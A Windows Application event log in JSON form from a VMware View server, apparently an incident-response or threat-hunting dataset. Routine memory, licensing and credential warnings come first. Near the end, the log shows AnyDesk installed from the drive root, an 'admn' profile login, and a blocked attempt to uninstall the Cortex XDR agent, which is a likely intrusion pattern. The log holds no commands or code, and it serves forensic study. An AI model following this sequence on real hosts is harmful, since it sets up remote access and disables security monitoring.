{"@timestamp":1658469877659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 22 08:04:37 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171889}}
{"@timestamp":1658470726490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171890}}
{"@timestamp":1658513081460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 22 20:04:41 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171891}}
{"@timestamp":1658533499101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171892}}
{"@timestamp":1658556285461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 23 08:04:45 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171893}}
{"@timestamp":1658567116828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_STATUS_CHANGED_INVALID_CREDENTIALS\nvCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk has invalid credentials\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 23 11:05:16 CEST 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.l\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171894}}
{"@timestamp":1658596872071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171895}}
{"@timestamp":1658599489543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 23 20:04:49 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171896}}
{"@timestamp":1658642693635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 24 08:04:53 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171897}}
{"@timestamp":1658659284758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171898}}
{"@timestamp":1658685897562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 24 20:04:57 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171899}}
{"@timestamp":1658722237665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171900}}
{"@timestamp":1658729101791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 25 08:05:01 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171901}}
{"@timestamp":1658772306017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 25 20:05:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171902}}
{"@timestamp":1658781363282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["powershell.exe","10.0.14393.206","57daccf5","ntdll.dll","10.0.14393.5006","621ef21b","c0000374","00000000000f7143","964","01d8a066269424fb","C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","C:\\Windows\\SYSTEM32\\ntdll.dll","4aa0fba2-d8ae-41c2-8ccf-8af015b48b46","",""]}}},"module":"Application","provider":"Application Error","sequence":171903}}
{"@timestamp":1658786090612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171904}}
{"@timestamp":1658815510013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 26 08:05:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171905}}
{"@timestamp":1658845382584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171906}}
{"@timestamp":1658858714025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 26 20:05:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171907}}
{"@timestamp":1658901918031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 27 08:05:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171908}}
{"@timestamp":1658907315451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171909}}
{"@timestamp":1658936065665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/16:15:34:25;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171910}}
{"@timestamp":1658936066787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"000006008D49255CBC7D3D3FA4EC12F21340E0E4BF47E970BFA8DFDDBD1641DA0EAFA045AA30693E3031D71BED86BA74CF38C97C1037D957C28E8512E409F901C116898FD1BDC51AB485C431F4154F724A7AB4DFCFFCF526D2A320D393A90A3E89D99AD2BA4F0BEDB5239EE657AEA4E953348E42B0058F8255192EF69F0DB1ED95DC1564DEB3987AB4425E08CEF7439DBF6D23EE527EFD29A42EEBEA5D27DB74B9A9BB050669E8FDDC521F7B0E2877ED523223ED12BD6ED74369CD5E4D15F2FBAB2038B30FAD338D0CECF2BE55AB6CFF44E4A3972F35DBB60C326CECD72203F758C698DE295E82AAFBB69045533DEFD6038BBE19FCB83A76DE989083ED8195CD4E7BEFD5","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/07/27 15:34, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171911}}
{"@timestamp":1658936066909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600E6F7513F27A63F3F4E8202B864353829B43965323C6C7D06D614A317C4C665F86D1E1F292423202BDE1D3152EF4506925EC7E38F63F79EBB6EB75C4DA805A6CD754BBDF05725C59649CE31E041124B89F39805279AA400567C89EC975A44EB620C01772191E77C8D2E009A52DF598FDB28B9C30C5E1E6F75732371656F49E590CD0AF9CACDEB48FEB465371D27BB8259F311FBE22B479AF9D6720FE560B9583CB8F7B2AB12709ABC1D025DFA8EA46BD6CE9B8BFF33A54A5E7B19350DE8E6857C4CCB979A80B833826DB82D99680BE342675D36C5B925A508B7118A4E3FA0711E73A3154FDE92FFC3140D46DAC1087D295E1E3200E019E3098DA07F0B530066EB","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/07/27 15:34"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171912}}
{"@timestamp":1658936067040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171913}}
{"@timestamp":1658936067042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171914}}
{"@timestamp":1658936067044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171915}}
{"@timestamp":1658936067101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171916}}
{"@timestamp":1658936067183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171917}}
{"@timestamp":1658936067207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171918}}
{"@timestamp":1658936067451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/23:15:34:27;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171919}}
{"@timestamp":1658936067479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171920}}
{"@timestamp":1658936097515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171921}}
{"@timestamp":1658945122053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 27 20:05:22 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171922}}
{"@timestamp":1658971108391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171923}}
{"@timestamp":1658988326064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 28 08:05:26 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171924}}
{"@timestamp":1658998384247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\anydesk.msi","6696","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171925}}
{"@timestamp":1658998385698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=VeriSign Universal Root Certification Authority, OU=\"(c) 2008 VeriSign, Inc. - For authorized use only\", OU=VeriSign Trust Network, O=\"VeriSign, Inc.\", C=US","3679CA35668772304D30A5FB873B0FA77BB70D54"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":171926}}
{"@timestamp":1658998385800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4097,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["CN=DigiCert Trusted Root G4, OU=www.digicert.com, O=DigiCert Inc, C=US","DDFB16CD4931C973A2037D3FC83A4D7D775D05E4"]}}},"module":"Application","provider":"Microsoft-Windows-CAPI2","sequence":171927}}
{"@timestamp":1658998388392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B36323835334542462D453944442D344141352D423230412D3541364333444437344646337D","Data":{"#text":["Product: AnyDesk MSI -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171928}}
{"@timestamp":1658998388392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B36323835334542462D453944442D344141352D423230412D3541364333444437344646337D3030303065373030643562623763636661313162333633616234663266363165323230303030303030393034","Data":{"#text":["AnyDesk MSI","7.0.13","1033","0","AnyDesk Software GmbH","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171929}}
{"@timestamp":1658998388424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\anydesk.msi","6696","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171930}}
{"@timestamp":1658998630970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5,"custom_data":{"EventData":{"Binary":"","User":"ENG-VIEWSRV402\\admn"}},"module":"Application","provider":"Microsoft-Windows-Search-ProfileNotify","sequence":171931}}
{"@timestamp":1658998631017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1534,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_PROFILE_NOTIFICATION_FAIL"},"Component":"{2c86c843-77ae-4284-9722-27d65366543c}","Error":"Not implemented\r\n","Event":"Create"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":171932}}
{"@timestamp":1658998687923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171933}}
{"@timestamp":1658998717934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171934}}
{"@timestamp":1658998743359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["{FDB5FE8A-037B-4D0D-85B2-2498D4D7AADB}","7900","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171935}}
{"@timestamp":1658998747109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-07-28T08:59:07.108984Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":171936}}
{"@timestamp":1658998750758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171937}}
{"@timestamp":1658998752034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10005,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D","Data":{"#text":["Product: Cortex XDR 7.0.2.42857 -- Error 29000. Cortex XDR 7.0.2.42857 Anti-Tampering is enabled. Please disable Anti-Tampering and retry the operation.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171938}}
